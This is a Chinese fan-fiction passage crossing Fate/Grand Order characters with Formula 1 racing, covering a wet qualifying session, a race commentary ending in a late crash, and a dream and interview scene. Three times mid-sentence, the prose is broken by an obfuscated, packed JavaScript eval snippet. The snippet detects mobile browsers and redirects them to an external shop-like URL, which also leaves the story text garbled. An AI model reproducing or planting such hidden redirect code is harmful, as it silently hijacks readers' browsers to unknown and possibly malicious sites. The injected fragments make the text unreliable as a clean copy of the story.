想要吐槽也可以不前进的立香思及自己嘴巴的威力,悲伤地放过这个上好的冷笑话时刻,她认真聆听耳边工程师的汇报声,用敏锐的感知记录下需要实时反馈的赛车平衡变化。 阵雨的冲刷,除了给车队带来种种不一样的困难外,还送来了足够多的困境时刻,生怕挫折不够,九九八十一难的磨砺也不够《惊!红旗频出为那般?教皇袭来——天降圣恩于爱肤宜!》的合订本撰写。 在这意外纷飞的排位赛前最后的自由练习时间里,红旗飘飘扬黄旗的赛会正在关注每一弯上的意外事故,凄清望雨飘的车手们正在“耐心”地等待一副雨势漫长难见结束的天空得见晴。而车手们“等待”状态的类型各式各样五花八门——是比F1赛场上的引擎种类还要丰富的数量——身在牢笼般,无助地等雨停、等车上墙、等车被拖回P房、等车被修好、等排位赛开始…… “你是不是觉得自己很幽默?” “我在借温暖笑话让大家被雨浸泡的心活动起来!”被指假幽默的人努力辩解,只觉自己一番笑话无人识的立香愤而扭头,撑伞飘到湿漉漉的赛道上,单一件雨衣罩头便立于发车格边缘,端着麦克风试图为情况糟糕的观众席送去活跃的气氛。 来来往往的技师,忙忙碌碌的赛会工作人员,奔奔波波端着永不休息的摄像头的记者与一直在被拍的车手和领队们,维修区的人员构成简单又复杂。喝完自己第二杯热茶还没等到雨停的立香开始思考排位赛被推迟到明天的可能性,她有些按捺不住天性地左边看看、右边望望,在数完第N遍眼前都有谁走过后,毅然决然选择串场到隔壁车队进行闲聊工作。 迦勒底是上一个赛季车队积分倒数第一的车队,所以这个赛季的车房位置在维修区出口,并与积分倒数第二的哈桑车队紧贴。立香无视记者拍摄镜头的紧抓不放,直奔车手百貌与她的工程师静谧,从嘴上嘀嘀咕咕十号弯积水易打滑,到手上狂比如何处理各种突发情况的打方向盘姿态,最后甚至掠夺记者肩膀上的摄像机,化身真正的记者为哈桑车队的车组人员们提前完成合照时刻。 “还有十三分钟,赛道将恢复到能够进行排位赛的情况。” 红旗被终止,绿灯正在恢复工作,安全车缓慢登上赛道进行实地探查,维修区的通道在排位赛可以正常开始的前提中被开放。 重新将耳塞和耳机堵回耳朵里,防火面罩的先行上头隔挡了部分头盔的沉重,即将迟到的立香一路小跑抓着栏杆横跨回迦勒底的P房,苦思冥想许久才记起把头盔落在别人车队P房里的立香在自家领队的凝视中神色自若地卡点回到车上。 “无线电测试。” “听得见~” “我们需要尽快把胎暖起来。”罗曼强调,“安全车出动的可能性很大。” “那希望我不会成为导致安全车的原因之一~” “……专心驾驶立香,”强行打断车手幽默时刻的工程师转移话题,“我们需要再找一下半雨的极限。” “诶~好吧~收到。” 嘴边的话语轻快又松弛,物理层面上的手脚并用却并不轻松。大雨初停,赛道虽然已经干得很快了,但是残留积水与低温天气所能带来的残酷仍然让半雨胎有些吃力。再附带七丘赛道特性所需的低下压力调校,当前的排位赛情况堪称轮胎升温の地狱。 而如果车手想让轮胎尽快找到最佳的工作温度,那么极其激进的暖胎圈又会在极度消耗燃油和轮胎寿命的情况下,逼迫车手回维修区换胎然后重头再来。 一台SB ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941702|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' -18正在赛道上以大幅左右摇摆的姿态蛇形走线地前进中,这是藤丸立香第四个频繁加速刹车的准备圈。稳定的阴湿天气对赛道温度的恢复作用为零,缓慢的轮胎温度爬升速度意味着车队指令下更长时间、更激进的自主暖胎圈。完美的暖胎程序或许并不存在,但是车手的失误永远不会缺席。 有人无意压到过深的水滩,迈着舞步甜甜圈的spin,打转上墙留下一赛道的碎屑;有人在前车掀起的厚重水雾里艰难摸索,盲人摸象地全凭身体记忆前进在赛道上,然后盲车撞前车地一起被安全车和吊车领回维修区;还有人急于换胎,一感觉赛道条件允许,就匆匆换回光头胎,在半干的赛车线中轮胎锁死直奔草地…… 早早出场的立香车手,在仍然有些“脏”慢的赛道上,利用相对清晰的视线做出安全但有竞争力的圈速后立刻回到维修区等待。对停留在赛道上有着避之不及的恐惧,而Q1的意外频发也确实没有辜负这份恐惧直觉。 排位赛的Q2在多次红旗后终于开始正常拉表计时,雨势彻底停止后的赛道历经整个Q1的驾驶时间,终于干出了一条开起来还算有抓地力的赛车线。 完成自己第二个飞驰圈后从P12飞至P2位置的立香谨慎地试探了一下非赛车线区域的抓地力,试探的成果与对当下圈速成绩的不满意,让她生出了换胎的心。 “路肩和离线区域可能仍有潮气,我们预测换上干胎后,轮胎温度可能难以维持在工作区间,”耐心讲解的工程师让车手再耐心等待片刻,“如果赛道情况和现在一样保持持续好转,那我们将在Q3进行切换。” “收到,”立香漫不经心地回答,“不要中性胎,直接换软胎。” “Copy。”对自家车手的性格有着长达数十年的认识,因此工程师并不意外。罗玛尼在身旁技术总监的得意轻哼中目移,嘴上说着赌一下不超过便成仁的话语,然后在心底开始疯狂祈祷稍后不要上演干地胎赌博大失败的戏码。 “哎呀~罗曼君~纵容孩子的大人~”万能之人笑道,“不过这本来就是预料之中的吧~以立香的性格。” 低温、低风速与阴天正在打配合,被显著减缓的水分蒸发速度。而即使赛道终于磨磨蹭蹭地变干,低温也会让干地胎难以进入工作温度。干胎赌博的高风险立足于狭窄的决策窗口之上,但高风险可能带来的高收益又让车手情不自禁奔风险而去。 Q2努力刷圈速的立香耐心地完成着自己的小车跑圈,一圈又一圈地反复驶过半湿的赛车线。而位列榜首的四台圆桌,凭借赛车超强机械抓地力的优势,轻轻松松地无视掉剩下的八支车队十六位车手,耐心可嘉地重复八百年前就在爱肤宜舞台上转圈的《亚瑟vs摩根》剧目再演。 “不觉得明天会个大晴天吗?”立香在无线电频道里为自己Q3准备进行的软胎赌博做理不直气也壮的发言,“就是要明天大晴天才能让所有车队今天的努力白费呀!” “这个“所有车队”里面似乎也包含了我们吧?” 12.七丘赛道3 晴天,一个巨大的晴天,一个肆无忌惮嘲笑昨日三练与排位赛的赛车调校成果的美妙干地,一个既辩驳了藤丸立香乌鸦嘴论又让她能够得意洋洋甩墨镜的美丽天气。 七丘赛道观众席上连绵起伏的红色海洋,在日光之下刺得摘下墨镜的藤丸立香眼睛发痛。罗马车队上一年有多么光辉,今年就有多么沉寂。数月前最后一站从车手积分榜的第三翻盘冠军,车队积分一举夺冠强压多年死对头两支圆桌成就罗马车队的第二十个WCC。 而本赛季已经举行了的前两站,两位车手在没有出现故障、赛车竞争力犹存的情况下都未入前五的成绩让车队黯然,而本站发车格一位P6,一位P7的起步位置更是让观众席上的火越烧越烈。 型月围场活化石、一手奠定车队王朝的四届世界冠军、跟圆桌老对头从亚瑟摩根斗到她两孩子都来跑F1的尼禄,她的退役,带走了队伍最重要的定海神针。 “自卖自夸的话要说到什么时候?”围场后辈立香佯装手抖地晃了晃手上的麦克风,毫无后辈新秀风范地问道。 “等你拿到第一个世界冠军能追上余再说。” “拿到一个,也追不上你四个吧?” “0→1肯定大于1→4呀!” “?问题是这个重点吗?!” 正赛P5发车的藤丸立香其实有些忧虑,前面四台圆桌一副看起来就要在发车起跑时候出意外的样子,紧跟自己后面的两台罗马在主场的情况下肯定会卖力地追……即使放眼到最后面,也还有两台Alter因为引擎故障没跑完排位赛,正赛维修区起步,必定会携复仇の熊熊烈火直追积分区——好危险! 她在心底如此“危言耸听”,试图让自己从眼前冰箱里的草莓蛋糕诱惑中清醒过来。 无需思考也能知道车队后勤处小冰箱里的每一样物品属于谁,藤丸立香的记忆非常好的这件事,正如同从别人碗里偷来的草莓蛋糕最美味一样,是一个迦勒底车队人尽皆知的真理! 她在与蛋糕的漫长对视时间里思考得手后的甩锅对策,蠢蠢欲动的手含恨刹车于比赛的即将开始与蛋糕主人神色匆匆迈步入会议室的身影。 赛前会议的重点简洁明了,回归周五一练、二练所收集的干地数据与高速保胎策略,最终将会使用的全赛季最低下压力调校意味着车队意图最大化直道速度的计划,晴朗到过分的天气情况与温度骤然上升的基础因素都是推力的一部分。 平坦且对轮胎友好的赛道,晴天天气下的主流策略是一停,即以更硬的胎跑更远的距离。 下午14:00开始的正赛,以灿烂阳光正照耀与正午余温仍残留的赛道情况开始了暖胎圈的“预备备~” 哼歌的立香步伐轻快,早上跟拍她和尼禄进场的记者此时仍然扛着长枪大炮步步紧随,将黑洞般的镜头对准这位选手。凝视她在阳光下闪耀的面孔,捕捉车手被头盔与护目镜藏起的眼睛,追踪赛车奔前方而去的银白车身,一刻都不能放过地寻觅着新闻的爆点时刻。 “各位读者!下午好!这里是型月小车跑圈爱肤宜世界锦标赛的第三站,非常高兴居然还有观众追听解说至此。在此特别鸣谢咱们今年意大利大奖赛的特别赞助商——君十一!伟大的罗马!他还会将赞助不久后的土耳其大奖赛,君士坦丁堡公园赛道将于本赛季起正式加入型月F1赛历!” “合同有效期五年,大家可以多多期待!虽然在某种程度上是罗马车队多了个新主场。但是现在!让我们把视线转移回正在进行暖胎圈的七丘赛道上——四台圆桌霸占了发车格前四,而第五到第十的车手分别是迦勒底的藤丸立香、两台主场作战的罗马、运气归来排位赛终于顺利跑完Q3的凯尔特的库丘林、以及位列P9和P10的一台哈桑与一台摩诃婆罗多。小车队趁乱来到前排发车,不知道能不能搅混领奖台和积分区的这滩水呢!” “正值午时好太阳,明媚天气越晴朗,越像在嘲笑昨日三练和排位赛的混乱不堪,不过这种情况也利好各位抓住时机冲上前十发车位的小车队车手们啊!” “围场新人藤丸立香!她在自己职业生涯第三场F1的正赛中再次来到P5的靠前发车位,虽然她上一站的表现可以被评为整个围场的倒霉TOP1,希望这一站能正常跑完呀。” 七丘是个很简单的赛道,尤其是不下雨的情况。策略上是标准的一停,赛时的随机应变是每年都在上演的“只要好好跑、不乱进站就能在安全车带领下完成一停然后顺顺当当跑完43圈的全程,美美进积分区。” 可惜,道理如何车手们都懂,唯独实际行动,最莫测。 “五盏红灯!正在跟随掌旗官手中挥舞的绿旗一一亮起!我们能看到两侧观众席上同样在舞动的红紫色旗帜,海洋一样鲜艳流淌的罗马应援色!两位罗马车手主场作战的意大利大奖赛正式开始!” “罗马车队在过去近二十年间都在自己的主场七丘拿下了冠军,今年的罗马主场-皇帝特权(喝彩)EX的buff加成是否会被死对头圆桌打破呢?!一切都要看老将巴托里和新秀雅兰杜能否捍卫车队主场不败的荣光!顺带一提,这两位车手都不是罗马青训出身的,诺克娜蕾-雅兰杜甚至是凯尔特青训营的。” “正赛发车!正赛已经发车!五盏红灯同时熄灭——P1、P2的卡斯特和加哈拉德又在头排搏斗!这两位上一年世界冠军争夺战中的失败者,不知今年能否不让第三人渔翁得利呢?!加哈拉德紧跟前车进入直道,他与前车卡斯特相比是拥有后车的尾流速度优势的,作为进攻方的他毫无疑问会选择稍晚刹车,并且试图抢占内线……” “七丘的杆位车手!阿尔托莉雅-卡斯特!她毫不犹豫地选择了直接关门!” “七丘赛道混乱的发车开局!意大利大奖赛的混乱发车!两位头排发车的选手发生碰撞,两台圆桌双车首圈退赛!!!两支圆桌面对的最糟糕的局面!圆桌车队最不愿意看到的事,又来了!!!” “上一次双车退赛也是这俩在P1、P2位置撞了,但那次比较惨烈,还是最后一站都离世冠一步之遥的重要关头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982296|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,双双领跑到倒数第三圈退的赛,结果最后让当时积分第三的尼禄拿了世界冠军。圆桌的心可能都在流血了,毕竟那可是一个已经成形了的世界冠军,二十年来首位名字崭新的WDC得主!也幸好当时已经提前包揽了车队冠亚。妖精圆桌,也就是圆桌二队,成立都没有十年就能和本家卡美洛圆桌斗成这样了,摩根勒菲出了围场也是恐怖如斯啊。” “我们跟着回放镜头上是可以看到,在发车的时候,在P1的卡斯特一开始是很明显地打算走更宽的入弯线路,准备守中间路线的。但她应该是因为瞄到后车的进攻,然后果断向内线移动关门防守,一点空间也没留,才造成了与选择稍晚刹车抢内线准备超越的后车加哈拉德的碰撞事故。” “不对!卡斯特这很明显只是压车虚晃一招,她在刹车区前就已经完成线路选择,并不是看到后车逼近才二次移动的反应性关门。她是拥有路权,也就是弯心主权的!后车上有权进攻,但是加哈拉德都没形成实质性的并排入弯,后车才是事故的主要负责人吧?!” “好一个公说公有理婆说婆有理,总之两台车目前都跑不了,安全车已经出动!镜头给到面无表情的两位圆桌领队,噢不对,梅林居然脸上还有笑容,可能是因为亚瑟这一站居然来了。目前赛会已将一号位的事故记录在案,正在调查。不过这两双双退赛的同时还顺带鱼雷了一把P3发车的芭-万希,她当时在外侧准备超越,非常不幸啊。” “芭-万希今年其实也很倒霉,前两站状态一般,车子也问题多多,还多次遇上原本跑得好好的然后惨遭换胎重创,以及每次事故都是因为和莫德雷德的争锋相对。她在安全车出来后,火速回到维修区准备把烂掉的前翼给换了,顺带换了一次胎。正在领跑全场的是发车格前四台圆桌中唯一的幸存者莫德雷德,她今天状态不错,就是看起来和暂列P2的那台迦勒底有的斗了。” “安全车回去后,莫德雷德也没能及时和后车拉开距离,藤丸立香手持DRS,还拿着尾流优势,这台幸存在前排的圆桌很被动啊!” “但干净空气对于保胎是很重要的,尤其是所有车手都普遍一停策略的情况下。但是,迦勒底的车怎么感觉一站比一站好?冬测的时候所有车手都还在摇头说不如拖拉机,现在下了血本地每一站都在引入新升级,P11发车的卡多克也已经来到P5了。不过跑最猛的还是两台罗马,这是雅兰杜第四圈刷紫了,每一圈都要比前车巴托里快上0.5s左右。” “难道罗马车队多年来的一二号车手之争又要重出江湖了吗?!主场buff叠这么满不好吧?!P4的雅兰杜虽然是跟在P3的巴托里后面,但是她目前整体的节奏和速度是要比前车好的。如果一直以这个顺序拖下去,雅兰杜可能就真的没机会搅一下前面两位自顾自缠斗的局面了。但是具体还要看车队怎么打算,车队估计会叫换位,但是巴托里肯定不愿意,毕竟当年也就是让了一次尼禄,从此打了一辈子二号车手的工。” “目前局势平稳,让我们抓紧时间进一段广告!” 13.七丘赛道4 二倍速快进一段克莱恩高端型月美妆广告,佑您看赛即使悲于喜爱车手惨遭鱼雷退赛也能拥有美丽气色;一点五倍速看完医神至威丹参保心茶,愿您痛打疯狗终章也不会被菌类气吐血——好!目前的画面已经重新回到正常一倍速的七丘赛道! “在广告时间段有非常喜剧的画面,大家可能错过了,但是导播貌似只打算放小镜头,大屏幕还在追一二号位车手的情况。维修区起步的两台Alter同时地一路连过六台车后,目前在阿斯卡里弯的位置全油门轮对轮、车贴车搏斗中!” “但是在这个组合弯中,后车跟车太近就会损失下压力,不太能贴上去,所以我们能看到贞德alter在这里就松了下,前车唐泰斯也借此拉开了点距离,现在有0.8s的差距。” LAP9 迦勒底TR: “轮胎性能还不错?”立香在无线电频道里以笃定的语气发问。 “你要等吗?”罗曼心有灵犀一点通地知道自家车手又想赌安全车,“还是保持Plan A?” “啊——”含糊的语调,车手早切弯心,渐开油门地把自己和车一起发射到直道上,试图做出更快的出弯速度,然后在下一圈的1号弯再次向领跑全场的那台圆桌发起进攻,专注于驾驶的司机只是回答,“脏空气很糟糕。” “这是贞德alter第四次在无线电频道里问车队,问唐泰斯是不是故意时不时压一下速度的了。这两台alter目前分别在P6和P7,前车是防守技术炉火纯青的迦勒底的卡多克。这一圈刷紫最快圈速的是妖精圆桌的芭-万希,她进站换掉那些个报废部件之后,一直在赶路。可能因为她没硬胎了,只能用现在的软胎多赶点路。” “大屏幕上是藤丸立香第N次向莫德雷德发起进攻!她上一圈其实成功了的,但是领跑没一圈,刚刚路过7号弯的时候,SB18转向不足的毛病又犯了,莫德雷德趁机顶回去,然后成功回到P1。” “卡美洛圆桌的车啊,一直都不太能啃下压力的,输罗马的那几个赛季都是输在这几条考下压力技术的赛道,和她现在后面这台进化版迦勒底的特性是完全不同。” “所以藤丸立香今天就跑得很顺,而且还是干地,现在甚至能用磨合程度还相当一般的本田引擎来和圆桌的火星动力搏冠军领奖台。然后,后面的卡多克也跑得很好!强行把后面两台复仇车压成缠缠绵绵drs小火车,不过也可能是这俩复仇者自己还沉浸在内斗情节中。迦勒底这场跑得火力十足,如果能把现在的名次保持到最后,那成绩就跟时钟塔——曾经的四大车队魂兮归来似的,有点令人怀念啊。” “早没有四大了,近年是两支圆桌一家独大,然后罗马和Alter时不时出来搅局,印度双子星搅混水,小车队拿点积分再捡漏领奖台。当年时钟塔改名迦勒底后,基尔什塔利亚和戴比特那几个还在的那几年其实跑得还不错,不过后面集体跑拉力赛去了,然后阿尼姆斯菲亚又不行了,一下子就落后成围场垫底。” “今天用软胎起步的,算上双退那两台圆桌,足足有十二台车,剩下的都是中性胎起步。迦勒底车队每一场给两位车手的策略似乎都是完全不一样的,藤丸立香的就满满赌博味,卡多克会平和求稳一点,很有车手性格色彩啊。” LAP12,迦勒底TR: “如果你想要box,那我们就box。”罗曼说。 “轮胎还可以,我会加强管理,”车手回避。 “第十五圈,我们必须进站。”工程师强调,“这没有余地。” “好吧、好吧,”立香嘟嘟囔囔些无线电里听不清的话,然后突兀发问,“格兰德弯很多车吗?” “现在有四台软胎车和一台中性胎车正在驾驶经过,还有两台哈桑准备路过。”罗玛尼困惑,“你在看大屏幕吗?” “Alter车队双车进站?”立香再次发问,随即补充,“tr里有声音。” “是的,都是C5换C4。” “Copy。”车手停顿片刻,改口,“我第十四圈进站。” “Copy。”工程师挑眉,笑了,没揭穿司机纠结的小心思,“莱斯莫弯注意优化出弯,留意前左磨损。” “收到~” “软胎起步的车手们陆续进站换胎,现在只剩下最前面的莫德雷德和藤丸立香第十三圈还在较劲不进站,不过这俩轮胎貌似都没有衰减迹象,跑到现在还能轮流刷紫。” “藤丸立香是在无线电里说下一圈进站,就看是真是假,然后莫德雷德方会有什么应对了。场上目前是没有安全车出动迹象的,各跑各的,局面很稳定,就是领头羊这两位管理轮胎的同时还一个劲地往前推,再过两圈还不进站就真的准备套别人圈了。” LAP14,解说频道: “P1、P2前后脚进站!都是换中性胎!按照目前这两领先第三位的优势,应该可以做到两车出站后仍然保持在一二位!只要不出意外!” “一般这种时候就会出意外,莫德雷德右后螺丝没拧上吧?喔——换个胎5.28s,藤丸立香要率先出站领跑全场了。” “今天发挥相当好啊!藤丸立香今天节奏和速度都很可以,起步钻空子的时候够灵活,现在也敢赌,难道新秀登场第三站就能摸冠军台子了?!” “顺带一提,她离开F2之后其实根本没摸过方向盘了,连沃戴姆跑她家门口的拉力赛都没跟着师兄去。也就是说,她恢复的时间,从上一年迪拜官宣到今年冬木首站差不多只有短短几个月。当然,车好不好也很重要,迦勒底的新技术总监莱昂里多太强了,拖拉机都能只用几个月就救成围场里有竞争力的车。” LAP28,迦勒底TR: “和后车距离多少?”车手在滋滋啦啦的无线电频道里问。 “后车莫德雷德,4.27s,可以进行控制了,”工程师报着圈速,“转向不足的情况中性胎更明显吗?” “不,是滑的,我感觉自己在溜冰,每一个弯都是。”立香稳稳刹车,干净出弯后以逃离罗吉亚减速弯的架势把自己扔进下一段直道里,“前车一台阿尔戈、一台摩诃婆罗多都是谁?” “我们会提醒让车,分别是伊阿宋和迦尔纳,迦尔纳的左后轮有问题正在驶回维修区,不要发生缠斗。” “Copy。” LAP31,解说频道: “藤丸立香和莫德雷德开太快了,连过好几台慢一圈的车,套圈快套到前十的位置去了。换完胎后卡多克还在和两台alter缠缠绵绵,害得比这三都快的阿周那和库丘林只能接上drs火车尾。慢车堆积,等会有谁一杆清台全带走就完蛋了。” “你今天说的话都很不吉利……P4的芭万希被两台罗马夹心了,很危险啊!” “在前车的必须避让下,藤丸立香一路狂奔!与同样正在套圈工作的莫德雷德拉开到了7s!在比赛末段能够有这个成绩真的是非常非常稳定的节奏,只剩下十二圈,让我们期待最年轻的分站冠军之一是否会在今天的七丘诞生!” “那罗马主场胜利的不败传说也得跟着一起没了,巴托里和雅兰杜现在分别在P3和P5,中间夹着妖精圆桌的芭万希。后面一路过去是以卡多克为首的drs小火车,顺序分别是卡多克、埃德蒙、贞德alter、阿周那和库丘林,藤丸立香刚刚越过P11的赫拉克勒斯准备抵达火车现场。她的胎目前是全场最新的,只用了17圈,圈速也保持得非常稳定。” “规则上是这些车全都得让藤丸立香过去,刚刚迦勒底tr里面车队也提醒了卡多克,说藤丸立香在后面不到4s的位置,你记得让她过去。” “是的,其他车队的无线电里也都按规矩提醒说让藤丸立香和莫德雷德过去。但这会对drs小火车造成什么影响呢?我们现在还不能知道。” “不过这俩能套圈也完全是靠卡多克开小火车把整场的速度都压下来了,不然两台Alter应该能追上,至少一台罗马或者芭万希吧?——芭万希是换胎undercut了卡多克,顺带把后面的车也一带cut了。” “场面有点混乱啊,有人让了,有人不愿意让。赛会正在提醒那几台车说,再不让就要罚了——因为被套圈的车是有让车义务的,而且无条件、必须安全及时可预测地让。” LAP39,迦勒底TR: “他们在干什么?”立香问车队,“我是要在这个位置保持到最后吗?” “我们正在督促,赛会正在施压,保持耐心。” “莫德雷德在我后面追到多少了?” “目前是2.47s。” “F*ck。” “又是罗吉亚减速弯,几台慢车还在缠斗,两台Alter ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987489|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该是彻底失去耐心,第不知道多少次向卡多克发起进攻。而再后面一点的藤丸立香已经不等前车让位,直接手动超越,外侧超车,这个小油门把控得很灵巧啊!” “第四十圈了,只剩下三圈!意大利大奖赛的冠军就将登上领奖台!” “赛后出示蓝旗,正在督促并施压,要求让车——让藤丸立香和莫德雷德过去!” “其实套圈这两应该在发车直道那个位置超过去,不然风险太高了。” “其实是超了的,不然藤丸立香现在前面还有三辆。这条直道不够长,然后藤丸立香一个新秀,前面两台都是以开得猛/莽为著称的Alter,我猜她心里发毛。” “这个变线晃来晃去的,埃德蒙唐泰斯和贞德alter的队内斗争愈演愈烈,估计赛后舆论又要爆炸一次。但看贞德alter现在这个轮胎衰竭情况,估计要二停了吧?” “一堆车在脏空气里,只有小火车头卡多克是拥有干净空气的,轮胎管理优越性基本为零——又变线!刚好藤丸立香在11号弯的外侧开始超,全油门出弯准备在发车直道一口气过掉!非常顺利!只剩下最后两圈……” “…………” “…………天哪——” 出弯速度直接决定尾速,耐心还在工作的立香在脏空气里观察再观察,最终选择在一号位前谨慎地开始超越尝试。 意外,或者说,突变就是这一刻降临的。 居前的一台Alter在刹车区向右变线让车,好让即将越过居后那一台Alter的这台迦勒底过去,善于把握时机的立香乘机上前,而卡在这两之间的贞德alter与藤丸立香以肩并肩的驾驶一同驶入弯道,然后“砰——” “十一号弯!十一号弯!两台alter双双失控,以比赛节奏全速刹车的后一台alter或许未能预料到前一台alter的变线让车,也可能是因为视线被挡所以未能及时反应,总而言之!两台alter追尾直接发生碰撞!” “外线超车的藤丸立香无处可避!!!这台SB18直接冲上了砂砾处!而两台Alter一台前悬挂全断,一台后轮因为碰撞而爆胎!三台车!同时退赛!在整场比赛的倒数第二圈!” 巨大的G值正在冲击,全油门的出弯驾驶加剧了撞击护墙的惨烈程度,被撞飞后还在地面上弹跳的赛车翻滚着陷入砂砾石,而车手只能听见自己的呼吸。 她或许只是在单纯喘息,也或许只是单纯地等待意识从模糊中恢复为清醒,痛觉的感知吞没了她,以至于她只能在头盔的包裹下艰难地与头顶牢牢护着自己脑袋的halo对视。潮水般上涌的记忆泛上脑海,立香大口喘气,竭力让自己从似曾相识的过去中脱离。 “还好吗?立香?!还好吗?能听清吗?”工程师在无线电频道中焦急地反复询问。 没有回音的另一端,藤丸立香在终于失去动作的车身中,上下颠倒地与匆匆来到一旁的救援人员对上眼睛——也可能根本看不清。她只是在勉强有意识后,下意识安抚所有能听到自己话语的人,可话一脱口,所能发出的声线之低又让她自己愣了愣:“……我没事。” “莫德雷德也被挂到前轮,现在只能进站换胎了,两台罗马目前上到了一、三的位置,主场buff太强大了……迦勒底的领队在骂,说自家车手差点被害死了,迦勒底的卡多克来到P4。不过最后一圈,莫德雷德也没时间赶路归位了,安全车可能会带完最后一圈。” “怎么会这么惨,藤丸立香是不是能提前十七站拿下本年度最倒霉车手的大奖。” “我猜她会更想要今天的冠军台子,只能说尼禄亲自出场,罗马主场玄学威力啊。” “你怎么不说今天亚瑟也来了,结果四台圆桌两退赛两倒霉?” “芭万希P2亚军!怎么不算威力?” “那也是摩根的威力吧?” “迦勒底上下估计所有人心里都在滴血,上一个分站冠军要倒着回去数到六年前了,再上一个领奖台也过去五年了。今天可是一个成形的冠军,结果在最后两圈套圈的时候被慢车内斗给撞没了,车手还不知道有没有事。这太倒霉了,比上一站奥尔良还惨,至少那一场跑完还在积分区。” “总之,今日的意大利大奖赛解说就到这里,感谢各位的观看,让我们下一场帕特雷环海赛道再聚型月F1!” 14.帕特雷环海赛道1 梦境,人们总在做梦,却永远学不会如何把控自己的梦境走向。 一头橘红发的梦境主人平静坐立一旁,凝视玻璃另一侧振臂高呼、得意大笑的自己。那个自己单手打着方向盘,带着少年人独有的意气风发,与无线电频道中的所有人道谢,探出halo的那只手向观众席挥了又挥,神采飞扬地做甜甜圈,还在tr中要求工程师记得亲自帮自己拍多两张照片,强调要用放在策略墙旁边那个自己的相机。如此纯粹肆意的快乐与喜悦,多么任性又难掩爱意的少年气……何其陌生的画面。 梦境主人困惑:halo,我开车能拿冠军的那段时间里,有这个东西吗? 领奖台、香槟、工程师、车组、监护人、朋友……与队友。画面闪过很多张脸,鲜艳的色彩被相机以咔嚓咔嚓的声响雕刻在记忆与时光的过去里,摄像机的主人贪婪地将照片上的面孔与现实中的人一一对应起来,梦境之外并不常外露的情绪在眼眶中涌动着。 她有些恍惚:有谁,是哪张脸,只出现在照片上、镜头内? “立香?立香选手——” “……嗯?”被采访的选手及时地回过神来,她笑意盈盈地回答镜头,“我们是队友兼好朋友,嗯当然是关系密切的队友和无话不谈的朋友,毕竟我们在一个赛季中共处的时间可能比和家人在一起的时间还要长。但这也不妨碍我们在赛场上竞争,想要打败彼此。” “我知道你和奥尔加玛丽是从小一起长大的,那在成为既需要合作又必须竞争的队友后,关系有什么变化吗?” “无论如何都会有一些吧?从开卡丁车开始算起的话,我们的小矛盾就零零碎碎一直都有。但我想,即使我们之后一起升入F1继续当队友,也能很好处理这一点。毕竟如你所说,我们一起长大。”立香神色自若,用耸肩来表示这没什么的轻松意味。 “一起长大但是在成为队友后闹掰的车手在围场可不少。”记者打趣。 “噢那是她们太强了,我们总是不一样的。”立香了然地笑,语气轻快回答记者的幽默话语,“不过我开进F1的机会或许不会太大?毕竟我的愿望是当我队友的比赛工程师。” “那Dr.罗曼要失业了吗?他前不久才在采访里说,如果可能的话,会一直当你的比赛工程师,即使是到了一级方程式的赛场上。” “他肯定会愿意当工程师的工程师!”立香真心真意道,“而且我觉得他比梅林还要有领队风采哦!” “好主意,但是或许亚瑟有不同的意见?”记者同样笑意不断,却又不忘正题地把话绕回去,“你会觉得是自己胜利太多,导致队友被压制,或者说队伍的资源倾斜吗?” “F2都是统调车吧?”立香神色不变,笑容一如既往地被高高挂起,“我不觉得,我的队友从来不会被这些影响。我在这一点上信任她的心性与强大多于自己,她是位很优秀的车手,这甚至不需要任何人的判断,只需要用眼睛就知道了。” 电视屏幕闪了闪,随即失去画面。藤丸立香背着包拉开门,和休息室中面色匆忙、形迹可疑的卡多克对上视线。 “怎么了?”她问。 “呃没什么,”卡多克语气慌乱,又很快恢复镇定自若地反问对方,“你可以恢复训练了吗?” “没问题~好不容易不是背靠背赛程的两周休息时间,已经花了四分之一的时间在医院躺着和做检查了,没必要太担心~” “Copy。” “……你刚刚在看什么?”立香敏锐地找到重点。 卡多克摊手:“安娜上周的乐队现场。” “什么!”晃了晃脑袋,试图把近来睡太多的乏意甩出大脑,立香随手扔下包,将直觉中的不对劲与自己舟车劳顿的疲惫画上等号,她大声嚷嚷以示自己的愤怒,“居然背着我偷看!我也要看安娜的现场实拍!高清吗?” 爱琴海一向是度假胜地,热衷于四处旅游的立香选手倚着栏杆,对蓝天白云晴空万里的美好海景发起稍后不用开车的呆。尽管她并不喜欢街道赛,但是帕特雷环海赛道作为街道赛中的特例,她还是决定打起精神来再与倒霉做一下挣扎。 